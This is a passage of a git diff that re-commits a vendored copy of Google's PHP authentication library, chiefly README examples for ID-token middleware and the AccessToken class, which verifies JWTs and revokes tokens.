+putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); + +// Provide the ID token audience. This can be a Client ID associated with an IAP application, +// Or the URL associated with a CloudRun App +// $targetAudience = 'IAP_CLIENT_ID.apps.googleusercontent.com'; +// $targetAudience = 'https://service-1234-uc.a.run.app'; +$targetAudience = 'YOUR_ID_TOKEN_AUDIENCE'; + +// create middleware +$middleware = ApplicationDefaultCredentials::getIdTokenMiddleware($targetAudience); +$stack = HandlerStack::create(); +$stack->push($middleware); + +// create the HTTP client +$client = new Client([ + 'handler' => $stack, + 'auth' => 'google_auth', + // Cloud Run, IAP, or custom resource URL + 'base_uri' => 'https://YOUR_PROTECTED_RESOURCE', +]); + +// make the request +$response = $client->get('/'); + +// show the result! +print_r((string) $response->getBody()); +``` + +For invoking Cloud Run services, your service account will need the +[`Cloud Run Invoker`](https://cloud.google.com/run/docs/authenticating/service-to-service) +IAM permission. + +For invoking Cloud Identity-Aware Proxy, you will need to pass the Client ID +used when you set up your protected resource as the target audience. See how to +[secure your IAP app with signed headers](https://cloud.google.com/iap/docs/signed-headers-howto). + +#### Call using a specific JSON key +If you want to use a specific JSON key instead of using `GOOGLE_APPLICATION_CREDENTIALS` environment variable, you can + do this: + +```php +use Google\Auth\CredentialsLoader; +use Google\Auth\Middleware\AuthTokenMiddleware; +use GuzzleHttp\Client; +use GuzzleHttp\HandlerStack; + +// Define the Google Application Credentials array +$jsonKey = ['key' => 'value']; + +// define the scopes for your API call +$scopes = ['https://www.googleapis.com/auth/drive.readonly']; + +// Load credentials +$creds = CredentialsLoader::makeCredentials($scopes, $jsonKey); + +// optional caching +// $creds = new FetchAuthTokenCache($creds, $cacheConfig, $cache); + +// create middleware +$middleware = new AuthTokenMiddleware($creds); +$stack = HandlerStack::create(); +$stack->push($middleware); + +// create the HTTP client +$client = new Client([ + 'handler' => $stack, + 'base_uri' => 'https://www.googleapis.com', + 'auth' => 'google_auth' // authorize all requests +]); + +// make the request +$response = $client->get('drive/v2/files'); + +// show the result! +print_r((string) $response->getBody()); + +``` + +#### Call using Proxy-Authorization Header +If your application is behind a proxy such as [Google Cloud IAP][iap-proxy-header], +and your application occupies the `Authorization` request header, +you can include the ID token in a `Proxy-Authorization: Bearer` +header instead. If a valid ID token is found in a `Proxy-Authorization` header, +IAP authorizes the request with it. After authorizing the request, IAP passes +the Authorization header to your application without processing the content. +For this, use the static method `getProxyIdTokenMiddleware` on +`ApplicationDefaultCredentials`. + +```php +use Google\Auth\ApplicationDefaultCredentials; +use GuzzleHttp\Client; +use GuzzleHttp\HandlerStack; + +// specify the path to your application credentials +putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); + +// Provide the ID token audience. This can be a Client ID associated with an IAP application +// $targetAudience = 'IAP_CLIENT_ID.apps.googleusercontent.com'; +$targetAudience = 'YOUR_ID_TOKEN_AUDIENCE'; + +// create middleware +$middleware = ApplicationDefaultCredentials::getProxyIdTokenMiddleware($targetAudience); +$stack = HandlerStack::create(); +$stack->push($middleware); + +// create the HTTP client +$client = new Client([ + 'handler' => $stack, + 'auth' => ['username', 'pass'], // auth option handled by your application + 'proxy_auth' => 'google_auth', +]); + +// make the request +$response = $client->get('/'); + +// show the result! +print_r((string) $response->getBody()); +``` + +[iap-proxy-header]: https://cloud.google.com/iap/docs/authentication-howto#authenticating_from_proxy-authorization_header + +#### Verifying JWTs + +If you are [using Google ID tokens to authenticate users][google-id-tokens], use +the `Google\Auth\AccessToken` class to verify the ID token: + +```php +use Google\Auth\AccessToken; + +$auth = new AccessToken(); +$auth->verify($idToken); +``` + +If your app is running behind [Google Identity-Aware Proxy][iap-id-tokens] +(IAP), you can verify the ID token coming from the IAP server by pointing to the +appropriate certificate URL for IAP. This is because IAP signs the ID +tokens with a different key than the Google Identity service: + +```php +use Google\Auth\AccessToken; + +$auth = new AccessToken(); +$auth->verify($idToken, [ + 'certsLocation' => AccessToken::IAP_CERT_URL +]); +``` + +[google-id-tokens]: https://developers.google.com/identity/sign-in/web/backend-auth +[iap-id-tokens]: https://cloud.google.com/iap/docs/signed-headers-howto + +## License + +This library is licensed under Apache 2.0. Full license text is +available in [COPYING][copying]. + +## Contributing + +See [CONTRIBUTING][contributing]. + +## Support + +Please +[report bugs at the project on Github](https://github.com/google/google-auth-library-php/issues). Don't +hesitate to +[ask questions](http://stackoverflow.com/questions/tagged/google-auth-library-php) +about the client or APIs on [StackOverflow](http://stackoverflow.com). + +[google-apis-php-client]: https://github.com/google/google-api-php-client +[application default credentials]: https://developers.google.com/accounts/docs/application-default-credentials +[contributing]: https://github.com/google/google-auth-library-php/tree/master/.github/CONTRIBUTING.md +[copying]: https://github.com/google/google-auth-library-php/tree/master/COPYING +[Guzzle]: https://github.com/guzzle/guzzle +[Guzzle 5]: http://docs.guzzlephp.org/en/5.3 +[developer console]: https://console.developers.google.com diff --git a/vendor/google/auth/SECURITY.md b/vendor/google/auth/SECURITY.md index 02f8a8b9f1..8b58ae9c01 100644 --- a/vendor/google/auth/SECURITY.md +++ b/vendor/google/auth/SECURITY.md @@ -1,7 +1,7 @@ -# Security Policy - -To report a security issue, please use [g.co/vulnz](https://g.co/vulnz). - -The Google Security Team will respond within 5 working days of your report on g.co/vulnz. - -We use g.co/vulnz for our intake, and do coordination and disclosure here using GitHub Security Advisory to privately discuss and fix the issue. +# Security Policy + +To report a security issue, please use [g.co/vulnz](https://g.co/vulnz). + +The Google Security Team will respond within 5 working days of your report on g.co/vulnz. + +We use g.co/vulnz for our intake, and do coordination and disclosure here using GitHub Security Advisory to privately discuss and fix the issue. diff --git a/vendor/google/auth/autoload.php b/vendor/google/auth/autoload.php index a165791778..1e13827f58 100644 --- a/vendor/google/auth/autoload.php +++ b/vendor/google/auth/autoload.php @@ -1,34 +1,34 @@ - 3) { - // Maximum class file path depth in this project is 3. - $classPath = array_slice($classPath, 0, 3); - } - $filePath = dirname(__FILE__) . '/src/' . implode('/', $classPath) . '.php'; - if (file_exists($filePath)) { - require_once $filePath; - } -} - -spl_autoload_register('oauth2client_php_autoload'); + 3) { + // Maximum class file path depth in this project is 3. + $classPath = array_slice($classPath, 0, 3); + } + $filePath = dirname(__FILE__) . '/src/' . implode('/', $classPath) . '.php'; + if (file_exists($filePath)) { + require_once $filePath; + } +} + +spl_autoload_register('oauth2client_php_autoload'); diff --git a/vendor/google/auth/composer.json b/vendor/google/auth/composer.json index 46bcb55e47..28b36a4725 100644 --- a/vendor/google/auth/composer.json +++ b/vendor/google/auth/composer.json @@ -1,39 +1,39 @@ -{ - "name": "google/auth", - "type": "library", - "description": "Google Auth Library for PHP", - "keywords": ["google", "oauth2", "authentication"], - "homepage": "http://github.com/google/google-auth-library-php", - "license": "Apache-2.0", - "support": { - "docs": "https://googleapis.github.io/google-auth-library-php/master/" - }, - "require": { - "php": ">=5.4", - "firebase/php-jwt": "~2.0|~3.0|~4.0|~5.0", - "guzzlehttp/guzzle": "^5.3.1|^6.2.1|^7.0", - "guzzlehttp/psr7": "^1.7|^2.0", - "psr/http-message": "^1.0", - "psr/cache": "^1.0|^2.0" - }, - "require-dev": { - "guzzlehttp/promises": "0.1.1|^1.3", - "phpunit/phpunit": "^4.8.36|^5.7", - "sebastian/comparator": ">=1.2.3", - "phpseclib/phpseclib": "^2.0.31", - "kelvinmo/simplejwt": "^0.2.5|^0.5.1" - }, - "suggest": { - "phpseclib/phpseclib": "May be used in place of OpenSSL for signing strings or for token management. Please require version ^2." - }, - "autoload": { - "psr-4": { - "Google\\Auth\\": "src" - } - }, - "autoload-dev": { - "psr-4": { - "Google\\Auth\\Tests\\": "tests" - } - } -} +{ + "name": "google/auth", + "type": "library", + "description": "Google Auth Library for PHP", + "keywords": ["google", "oauth2", "authentication"], + "homepage": "http://github.com/google/google-auth-library-php", + "license": "Apache-2.0", + "support": { + "docs": "https://googleapis.github.io/google-auth-library-php/master/" + }, + "require": { + "php": ">=5.4", + "firebase/php-jwt": "~2.0|~3.0|~4.0|~5.0", + "guzzlehttp/guzzle": "^5.3.1|^6.2.1|^7.0", + "guzzlehttp/psr7": "^1.7|^2.0", + "psr/http-message": "^1.0", + "psr/cache": "^1.0|^2.0" + }, + "require-dev": { + "guzzlehttp/promises": "0.1.1|^1.3", + "phpunit/phpunit": "^4.8.36|^5.7", + "sebastian/comparator": ">=1.2.3", + "phpseclib/phpseclib": "^2.0.31", + "kelvinmo/simplejwt": "^0.2.5|^0.5.1" + }, + "suggest": { + "phpseclib/phpseclib": "May be used in place of OpenSSL for signing strings or for token management. Please require version ^2." + }, + "autoload": { + "psr-4": { + "Google\\Auth\\": "src" + } + }, + "autoload-dev": { + "psr-4": { + "Google\\Auth\\Tests\\": "tests" + } + } +} diff --git a/vendor/google/auth/phpunit.xml.dist b/vendor/google/auth/phpunit.xml.dist deleted file mode 100644 index 48091138f0..0000000000 --- a/vendor/google/auth/phpunit.xml.dist +++ /dev/null @@ -1,20 +0,0 @@ - - - - - tests - - - - - src - - src/ - - - - diff --git a/vendor/google/auth/renovate.json b/vendor/google/auth/renovate.json index 51c4ddb819..5fcce11213 100644 --- a/vendor/google/auth/renovate.json +++ b/vendor/google/auth/renovate.json @@ -1,6 +1,6 @@ -{ - "extends": [ - "config:base", - ":preserveSemverRanges" - ] -} +{ + "extends": [ + "config:base", + ":preserveSemverRanges" + ] +} diff --git a/vendor/google/auth/src/AccessToken.php b/vendor/google/auth/src/AccessToken.php index f2653d5dd0..1ab9b15170 100644 --- a/vendor/google/auth/src/AccessToken.php +++ b/vendor/google/auth/src/AccessToken.php @@ -1,479 +1,479 @@ -httpHandler = $httpHandler - ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - $this->cache = $cache ?: new MemoryCacheItemPool(); - } - - /** - * Verifies an id token and returns the authenticated apiLoginTicket. - * Throws an exception if the id token is not valid. - * The audience parameter can be used to control which id tokens are - * accepted. By default, the id token must have been issued to this OAuth2 client. - * - * @param string $token The JSON Web Token to be verified. - * @param array $options [optional] Configuration options. - * @param string $options.audience The indended recipient of the token. - * @param string $options.issuer The intended issuer of the token. - * @param string $options.cacheKey The cache key of the cached certs. Defaults to - * the sha1 of $certsLocation if provided, otherwise is set to - * "federated_signon_certs_v3". - * @param string $options.certsLocation The location (remote or local) from which - * to retrieve certificates, if not cached. This value should only be - * provided in limited circumstances in which you are sure of the - * behavior. - * @param bool $options.throwException Whether the function should throw an - * exception if the verification fails. This is useful for - * determining the reason verification failed. - * @return array|bool the token payload, if successful, or false if not. - * @throws InvalidArgumentException If certs could not be retrieved from a local file. - * @throws InvalidArgumentException If received certs are in an invalid format. - * @throws InvalidArgumentException If the cert alg is not supported. - * @throws RuntimeException If certs could not be retrieved from a remote location. - * @throws UnexpectedValueException If the token issuer does not match. - * @throws UnexpectedValueException If the token audience does not match. - */ - public function verify($token, array $options = []) - { - $audience = isset($options['audience']) - ? $options['audience'] - : null; - $issuer = isset($options['issuer']) - ? $options['issuer'] - : null; - $certsLocation = isset($options['certsLocation']) - ? $options['certsLocation'] - : self::FEDERATED_SIGNON_CERT_URL; - $cacheKey = isset($options['cacheKey']) - ? $options['cacheKey'] - : $this->getCacheKeyFromCertLocation($certsLocation); - $throwException = isset($options['throwException']) - ? $options['throwException'] - : false; // for backwards compatibility - - // Check signature against each available cert. - $certs = $this->getCerts($certsLocation, $cacheKey, $options); - $alg = $this->determineAlg($certs); - if (!in_array($alg, ['RS256', 'ES256'])) { - throw new InvalidArgumentException( - 'unrecognized "alg" in certs, expected ES256 or RS256' - ); - } - try { - if ($alg == 'RS256') { - return $this->verifyRs256($token, $certs, $audience, $issuer); - } - return $this->verifyEs256($token, $certs, $audience, $issuer); - } catch (ExpiredException $e) { // firebase/php-jwt 3+ - } catch (\ExpiredException $e) { // firebase/php-jwt 2 - } catch (SignatureInvalidException $e) { // firebase/php-jwt 3+ - } catch (\SignatureInvalidException $e) { // firebase/php-jwt 2 - } catch (InvalidTokenException $e) { // simplejwt - } catch (DomainException $e) { - } catch (InvalidArgumentException $e) { - } catch (UnexpectedValueException $e) { - } - - if ($throwException) { - throw $e; - } - - return false; - } - - /** - * Identifies the expected algorithm to verify by looking at the "alg" key - * of the provided certs. - * - * @param array $certs Certificate array according to the JWK spec (see - * https://tools.ietf.org/html/rfc7517). - * @return string The expected algorithm, such as "ES256" or "RS256". - */ - private function determineAlg(array $certs) - { - $alg = null; - foreach ($certs as $cert) { - if (empty($cert['alg'])) { - throw new InvalidArgumentException( - 'certs expects "alg" to be set' - ); - } - $alg = $alg ?: $cert['alg']; - - if ($alg != $cert['alg']) { - throw new InvalidArgumentException( - 'More than one alg detected in certs' - ); - } - } - return $alg; - } - - /** - * Verifies an ES256-signed JWT. - * - * @param string $token The JSON Web Token to be verified. - * @param array $certs Certificate array according to the JWK spec (see - * https://tools.ietf.org/html/rfc7517). - * @param string|null $audience If set, returns false if the provided - * audience does not match the "aud" claim on the JWT. - * @param string|null $issuer If set, returns false if the provided - * issuer does not match the "iss" claim on the JWT. - * @return array|bool the token payload, if successful, or false if not. - */ - private function verifyEs256($token, array $certs, $audience = null, $issuer = null) - { - $this->checkSimpleJwt(); - - $jwkset = new KeySet(); - foreach ($certs as $cert) { - $jwkset->add(KeyFactory::create($cert, 'php')); - } - - // Validate the signature using the key set and ES256 algorithm. - $jwt = $this->callSimpleJwtDecode([$token, $jwkset, 'ES256']); - $payload = $jwt->getClaims(); - - if (isset($payload['aud'])) { - if ($audience && $payload['aud'] != $audience) { - throw new UnexpectedValueException('Audience does not match'); - } - } - - // @see https://cloud.google.com/iap/docs/signed-headers-howto#verifying_the_jwt_payload - $issuer = $issuer ?: self::IAP_ISSUER; - if (!isset($payload['iss']) || $payload['iss'] !== $issuer) { - throw new UnexpectedValueException('Issuer does not match'); - } - - return $payload; - } - - /** - * Verifies an RS256-signed JWT. - * - * @param string $token The JSON Web Token to be verified. - * @param array $certs Certificate array according to the JWK spec (see - * https://tools.ietf.org/html/rfc7517). - * @param string|null $audience If set, returns false if the provided - * audience does not match the "aud" claim on the JWT. - * @param string|null $issuer If set, returns false if the provided - * issuer does not match the "iss" claim on the JWT. - * @return array|bool the token payload, if successful, or false if not. - */ - private function verifyRs256($token, array $certs, $audience = null, $issuer = null) - { - $this->checkAndInitializePhpsec(); - $keys = []; - foreach ($certs as $cert) { - if (empty($cert['kid'])) { - throw new InvalidArgumentException( - 'certs expects "kid" to be set' - ); - } - if (empty($cert['n']) || empty($cert['e'])) { - throw new InvalidArgumentException( - 'RSA certs expects "n" and "e" to be set' - ); - } - $rsa = new RSA(); - $rsa->loadKey([ - 'n' => new BigInteger($this->callJwtStatic('urlsafeB64Decode', [ - $cert['n'], - ]), 256), - 'e' => new BigInteger($this->callJwtStatic('urlsafeB64Decode', [ - $cert['e'] - ]), 256), - ]); - - // create an array of key IDs to certs for the JWT library - $keys[$cert['kid']] = $rsa->getPublicKey(); - } - - $payload = $this->callJwtStatic('decode', [ - $token, - $keys, - ['RS256'] - ]); - - if (property_exists($payload, 'aud')) { - if ($audience && $payload->aud != $audience) { - throw new UnexpectedValueException('Audience does not match'); - } - } - - // support HTTP and HTTPS issuers - // @see https://developers.google.com/identity/sign-in/web/backend-auth - $issuers = $issuer ? [$issuer] : [self::OAUTH2_ISSUER, self::OAUTH2_ISSUER_HTTPS]; - if (!isset($payload->iss) || !in_array($payload->iss, $issuers)) { - throw new UnexpectedValueException('Issuer does not match'); - } - - return (array) $payload; - } - - /** - * Revoke an OAuth2 access token or refresh token. This method will revoke the current access - * token, if a token isn't provided. - * - * @param string|array $token The token (access token or a refresh token) that should be revoked. - * @param array $options [optional] Configuration options. - * @return bool Returns True if the revocation was successful, otherwise False. - */ - public function revoke($token, array $options = []) - { - if (is_array($token)) { - if (isset($token['refresh_token'])) { - $token = $token['refresh_token']; - } else { - $token = $token['access_token']; - } - } - - $body = Utils::streamFor(http_build_query(['token' => $token])); - $request = new Request('POST', self::OAUTH2_REVOKE_URI, [ - 'Cache-Control' => 'no-store', - 'Content-Type' => 'application/x-www-form-urlencoded', - ], $body); - - $httpHandler = $this->httpHandler; - - $response = $httpHandler($request, $options); - - return $response->getStatusCode() == 200; - } - - /** - * Gets federated sign-on certificates to use for verifying identity tokens. - * Returns certs as array structure, where keys are key ids, and values - * are PEM encoded certificates. - * - * @param string $location The location from which to retrieve certs. - * @param string $cacheKey The key under which to cache the retrieved certs. - * @param array $options [optional] Configuration options. - * @return array - * @throws InvalidArgumentException If received certs are in an invalid format. - */ - private function getCerts($location, $cacheKey, array $options = []) - { - $cacheItem = $this->cache->getItem($cacheKey); - $certs = $cacheItem ? $cacheItem->get() : null; - - $gotNewCerts = false; - if (!$certs) { - $certs = $this->retrieveCertsFromLocation($location, $options); - - $gotNewCerts = true; - } - - if (!isset($certs['keys'])) { - if ($location !== self::IAP_CERT_URL) { - throw new InvalidArgumentException( - 'federated sign-on certs expects "keys" to be set' - ); - } - throw new InvalidArgumentException( - 'certs expects "keys" to be set' - ); - } - - // Push caching off until after verifying certs are in a valid format. - // Don't want to cache bad data. - if ($gotNewCerts) { - $cacheItem->expiresAt(new DateTime('+1 hour')); - $cacheItem->set($certs); - $this->cache->save($cacheItem); - } - - return $certs['keys']; - } - - /** - * Retrieve and cache a certificates file. - * - * @param $url string location - * @param array $options [optional] Configuration options. - * @return array certificates - * @throws InvalidArgumentException If certs could not be retrieved from a local file. - * @throws RuntimeException If certs could not be retrieved from a remote location. - */ - private function retrieveCertsFromLocation($url, array $options = []) - { - // If we're retrieving a local file, just grab it. - if (strpos($url, 'http') !== 0) { - if (!file_exists($url)) { - throw new InvalidArgumentException(sprintf( - 'Failed to retrieve verification certificates from path: %s.', - $url - )); - } - - return json_decode(file_get_contents($url), true); - } - - $httpHandler = $this->httpHandler; - $response = $httpHandler(new Request('GET', $url), $options); - - if ($response->getStatusCode() == 200) { - return json_decode((string) $response->getBody(), true); - } - - throw new RuntimeException(sprintf( - 'Failed to retrieve verification certificates: "%s".', - $response->getBody()->getContents() - ), $response->getStatusCode()); - } - - private function checkAndInitializePhpsec() - { - // @codeCoverageIgnoreStart - if (!class_exists('phpseclib\Crypt\RSA')) { - throw new RuntimeException('Please require phpseclib/phpseclib v2 to use this utility.'); - } - // @codeCoverageIgnoreEnd - - $this->setPhpsecConstants(); - } - - private function checkSimpleJwt() - { - // @codeCoverageIgnoreStart - if (!class_exists('SimpleJWT\JWT')) { - throw new RuntimeException('Please require kelvinmo/simplejwt ^0.2 to use this utility.'); - } - // @codeCoverageIgnoreEnd - } - - /** - * phpseclib calls "phpinfo" by default, which requires special - * whitelisting in the AppEngine VM environment. This function - * sets constants to bypass the need for phpseclib to check phpinfo - * - * @see phpseclib/Math/BigInteger - * @see https://github.com/GoogleCloudPlatform/getting-started-php/issues/85 - * @codeCoverageIgnore - */ - private function setPhpsecConstants() - { - if (filter_var(getenv('GAE_VM'), FILTER_VALIDATE_BOOLEAN)) { - if (!defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { - define('MATH_BIGINTEGER_OPENSSL_ENABLED', true); - } - if (!defined('CRYPT_RSA_MODE')) { - define('CRYPT_RSA_MODE', RSA::MODE_OPENSSL); - } - } - } - - /** - * Provide a hook to mock calls to the JWT static methods. - * - * @param string $method - * @param array $args - * @return mixed - */ - protected function callJwtStatic($method, array $args = []) - { - $class = class_exists('Firebase\JWT\JWT') - ? 'Firebase\JWT\JWT' - : 'JWT'; - return call_user_func_array([$class, $method], $args); - } - - /** - * Provide a hook to mock calls to the JWT static methods. - * - * @param array $args - * @return mixed - */ - protected function callSimpleJwtDecode(array $args = []) - { - return call_user_func_array(['SimpleJWT\JWT', 'decode'], $args); - } - - /** - * Generate a cache key based on the cert location using sha1 with the - * exception of using "federated_signon_certs_v3" to preserve BC. - * - * @param string $certsLocation - * @return string - */ - private function getCacheKeyFromCertLocation($certsLocation) - { - $key = $certsLocation === self::FEDERATED_SIGNON_CERT_URL - ? 'federated_signon_certs_v3' - : sha1($certsLocation); - - return 'google_auth_certs_cache|' . $key; - } -} +httpHandler = $httpHandler + ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + $this->cache = $cache ?: new MemoryCacheItemPool(); + } + + /** + * Verifies an id token and returns the authenticated apiLoginTicket. + * Throws an exception if the id token is not valid. + * The audience parameter can be used to control which id tokens are + * accepted. By default, the id token must have been issued to this OAuth2 client. + * + * @param string $token The JSON Web Token to be verified. + * @param array $options [optional] Configuration options. + * @param string $options.audience The indended recipient of the token. + * @param string $options.issuer The intended issuer of the token. + * @param string $options.cacheKey The cache key of the cached certs. Defaults to + * the sha1 of $certsLocation if provided, otherwise is set to + * "federated_signon_certs_v3". + * @param string $options.certsLocation The location (remote or local) from which + * to retrieve certificates, if not cached. This value should only be + * provided in limited circumstances in which you are sure of the + * behavior. + * @param bool $options.throwException Whether the function should throw an + * exception if the verification fails. This is useful for + * determining the reason verification failed. + * @return array|bool the token payload, if successful, or false if not. + * @throws InvalidArgumentException If certs could not be retrieved from a local file. + * @throws InvalidArgumentException If received certs are in an invalid format. + * @throws InvalidArgumentException If the cert alg is not supported. + * @throws RuntimeException If certs could not be retrieved from a remote location. + * @throws UnexpectedValueException If the token issuer does not match. + * @throws UnexpectedValueException If the token audience does not match. + */ + public function verify($token, array $options = []) + { + $audience = isset($options['audience']) + ? $options['audience'] + : null; + $issuer = isset($options['issuer']) + ? $options['issuer'] + : null; + $certsLocation = isset($options['certsLocation']) + ? $options['certsLocation'] + : self::FEDERATED_SIGNON_CERT_URL; + $cacheKey = isset($options['cacheKey']) + ? $options['cacheKey'] + : $this->getCacheKeyFromCertLocation($certsLocation); + $throwException = isset($options['throwException']) + ? $options['throwException'] + : false; // for backwards compatibility + + // Check signature against each available cert. + $certs = $this->getCerts($certsLocation, $cacheKey, $options); + $alg = $this->determineAlg($certs); + if (!in_array($alg, ['RS256', 'ES256'])) { + throw new InvalidArgumentException( + 'unrecognized "alg" in certs, expected ES256 or RS256' + ); + } + try { + if ($alg == 'RS256') { + return $this->verifyRs256($token, $certs, $audience, $issuer); + } + return $this->verifyEs256($token, $certs, $audience, $issuer); + } catch (ExpiredException $e) { // firebase/php-jwt 3+ + } catch (\ExpiredException $e) { // firebase/php-jwt 2 + } catch (SignatureInvalidException $e) { // firebase/php-jwt 3+ + } catch (\SignatureInvalidException $e) { // firebase/php-jwt 2 + } catch (InvalidTokenException $e) { // simplejwt + } catch (DomainException $e) { + } catch (InvalidArgumentException $e) { + } catch (UnexpectedValueException $e) { + } + + if ($throwException) { + throw $e; + } + + return false; + } + + /** + * Identifies the expected algorithm to verify by looking at the "alg" key + * of the provided certs. + * + * @param array $certs Certificate array according to the JWK spec (see + * https://tools.ietf.org/html/rfc7517). + * @return string The expected algorithm, such as "ES256" or "RS256". + */ + private function determineAlg(array $certs) + { + $alg = null; + foreach ($certs as $cert) { + if (empty($cert['alg'])) { + throw new InvalidArgumentException( + 'certs expects "alg" to be set' + ); + } + $alg = $alg ?: $cert['alg']; + + if ($alg != $cert['alg']) { + throw new InvalidArgumentException( + 'More than one alg detected in certs' + ); + } + } + return $alg; + } + + /** + * Verifies an ES256-signed JWT. + * + * @param string $token The JSON Web Token to be verified. + * @param array $certs Certificate array according to the JWK spec (see + * https://tools.ietf.org/html/rfc7517). + * @param string|null $audience If set, returns false if the provided + * audience does not match the "aud" claim on the JWT. + * @param string|null $issuer If set, returns false if the provided + * issuer does not match the "iss" claim on the JWT. + * @return array|bool the token payload, if successful, or false if not. + */ + private function verifyEs256($token, array $certs, $audience = null, $issuer = null) + { + $this->checkSimpleJwt(); + + $jwkset = new KeySet(); + foreach ($certs as $cert) { + $jwkset->add(KeyFactory::create($cert, 'php')); + } + + // Validate the signature using the key set and ES256 algorithm. + $jwt = $this->callSimpleJwtDecode([$token, $jwkset, 'ES256']); + $payload = $jwt->getClaims(); + + if (isset($payload['aud'])) { + if ($audience && $payload['aud'] != $audience) { + throw new UnexpectedValueException('Audience does not match'); + } + } + + // @see https://cloud.google.com/iap/docs/signed-headers-howto#verifying_the_jwt_payload + $issuer = $issuer ?: self::IAP_ISSUER; + if (!isset($payload['iss']) || $payload['iss'] !== $issuer) { + throw new UnexpectedValueException('Issuer does not match'); + } + + return $payload; + } + + /** + * Verifies an RS256-signed JWT. + * + * @param string $token The JSON Web Token to be verified. + * @param array $certs Certificate array according to the JWK spec (see + * https://tools.ietf.org/html/rfc7517). + * @param string|null $audience If set, returns false if the provided + * audience does not match the "aud" claim on the JWT. + * @param string|null $issuer If set, returns false if the provided + * issuer does not match the "iss" claim on the JWT. + * @return array|bool the token payload, if successful, or false if not. + */ + private function verifyRs256($token, array $certs, $audience = null, $issuer = null) + { + $this->checkAndInitializePhpsec(); + $keys = []; + foreach ($certs as $cert) { + if (empty($cert['kid'])) { + throw new InvalidArgumentException( + 'certs expects "kid" to be set' + ); + } + if (empty($cert['n']) || empty($cert['e'])) { + throw new InvalidArgumentException( + 'RSA certs expects "n" and "e" to be set' + ); + } + $rsa = new RSA(); + $rsa->loadKey([ + 'n' => new BigInteger($this->callJwtStatic('urlsafeB64Decode', [ + $cert['n'], + ]), 256), + 'e' => new BigInteger($this->callJwtStatic('urlsafeB64Decode', [ + $cert['e'] + ]), 256), + ]); + + // create an array of key IDs to certs for the JWT library + $keys[$cert['kid']] = $rsa->getPublicKey(); + } + + $payload = $this->callJwtStatic('decode', [ + $token, + $keys, + ['RS256'] + ]); + + if (property_exists($payload, 'aud')) { + if ($audience && $payload->aud != $audience) { + throw new UnexpectedValueException('Audience does not match'); + } + } + + // support HTTP and HTTPS issuers + // @see https://developers.google.com/identity/sign-in/web/backend-auth + $issuers = $issuer ? [$issuer] : [self::OAUTH2_ISSUER, self::OAUTH2_ISSUER_HTTPS]; + if (!isset($payload->iss) || !in_array($payload->iss, $issuers)) { + throw new UnexpectedValueException('Issuer does not match'); + } + + return (array) $payload; + } + + /** + * Revoke an OAuth2 access token or refresh token. This method will revoke the current access + * token, if a token isn't provided. + * + * @param string|array $token The token (access token or a refresh token) that should be revoked. + * @param array $options [optional] Configuration options. + * @return bool Returns True if the revocation was successful, otherwise False. + */ + public function revoke($token, array $options = []) + { + if (is_array($token)) { + if (isset($token['refresh_token'])) { + $token = $token['refresh_token']; + } else { + $token = $token['access_token']; + } + } + + $body = Utils::streamFor(http_build_query(['token' => $token])); + $request = new Request('POST', self::OAUTH2_REVOKE_URI, [ + 'Cache-Control' => 'no-store', + 'Content-Type' => 'application/x-www-form-urlencoded', + ], $body); + + $httpHandler = $this->httpHandler; + + $response = $httpHandler($request, $options); + + return $response->getStatusCode() == 200; + } + + /** + * Gets federated sign-on certificates to use for verifying identity tokens. + * Returns certs as array structure, where keys are key ids, and values + * are PEM encoded certificates. + * + * @param string $location The location from which to retrieve certs. + * @param string $cacheKey The key under which to cache the retrieved certs. + * @param array $options [optional] Configuration options. + * @return array + * @throws InvalidArgumentException If received certs are in an invalid format. + */ + private function getCerts($location, $cacheKey, array $options = []) + { + $cacheItem = $this->cache->getItem($cacheKey); + $certs = $cacheItem ? $cacheItem->get() : null; + + $gotNewCerts = false; + if (!$certs) { + $certs = $this->retrieveCertsFromLocation($location, $options); + + $gotNewCerts = true; + } + + if (!isset($certs['keys'])) { + if ($location !== self::IAP_CERT_URL) { + throw new InvalidArgumentException( + 'federated sign-on certs expects "keys" to be set' + ); + } + throw new InvalidArgumentException( + 'certs expects "keys" to be set' + ); + } + + // Push caching off until after verifying certs are in a valid format. + // Don't want to cache bad data. + if ($gotNewCerts) { + $cacheItem->expiresAt(new DateTime('+1 hour')); + $cacheItem->set($certs); + $this->cache->save($cacheItem); + } + + return $certs['keys']; + } + + /** + * Retrieve and cache a certificates file. + * + * @param $url string location + * @param array $options [optional] Configuration options. + * @return array certificates + * @throws InvalidArgumentException If certs could not be retrieved from a local file. + * @throws RuntimeException If certs could not be retrieved from a remote location. + */ + private function retrieveCertsFromLocation($url, array $options = []) + { + // If we're retrieving a local file, just grab it. + if (strpos($url, 'http') !== 0) { + if (!file_exists($url)) { + throw new InvalidArgumentException(sprintf( + 'Failed to retrieve verification certificates from path: %s.', + $url + )); + } + + return json_decode(file_get_contents($url), true); + } + + $httpHandler = $this->httpHandler; + $response = $httpHandler(new Request('GET', $url), $options); + + if ($response->getStatusCode() == 200) { + return json_decode((string) $response->getBody(), true); + } + + throw new RuntimeException(sprintf( + 'Failed to retrieve verification certificates: "%s".', + $response->getBody()->getContents() + ), $response->getStatusCode()); + } + + private function checkAndInitializePhpsec() + { + // @codeCoverageIgnoreStart + if (!class_exists('phpseclib\Crypt\RSA')) { + throw new RuntimeException('Please require phpseclib/phpseclib v2 to use this utility.'); + } + // @codeCoverageIgnoreEnd + + $this->setPhpsecConstants(); + } + + private function checkSimpleJwt() + { + // @codeCoverageIgnoreStart + if (!class_exists('SimpleJWT\JWT')) { + throw new RuntimeException('Please require kelvinmo/simplejwt ^0.2 to use this utility.'); + } + // @codeCoverageIgnoreEnd + } + + /** + * phpseclib calls "phpinfo" by default, which requires special + * whitelisting in the AppEngine VM environment. This function + * sets constants to bypass the need for phpseclib to check phpinfo + * + * @see phpseclib/Math/BigInteger + * @see https://github.com/GoogleCloudPlatform/getting-started-php/issues/85 + * @codeCoverageIgnore + */ + private function setPhpsecConstants() + { + if (filter_var(getenv('GAE_VM'), FILTER_VALIDATE_BOOLEAN)) { + if (!defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { + define('MATH_BIGINTEGER_OPENSSL_ENABLED', true); + } + if (!defined('CRYPT_RSA_MODE')) { + define('CRYPT_RSA_MODE', RSA::MODE_OPENSSL); + } + } + } + + /** + * Provide a hook to mock calls to the JWT static methods. + * + * @param string $method + * @param array $args + * @return 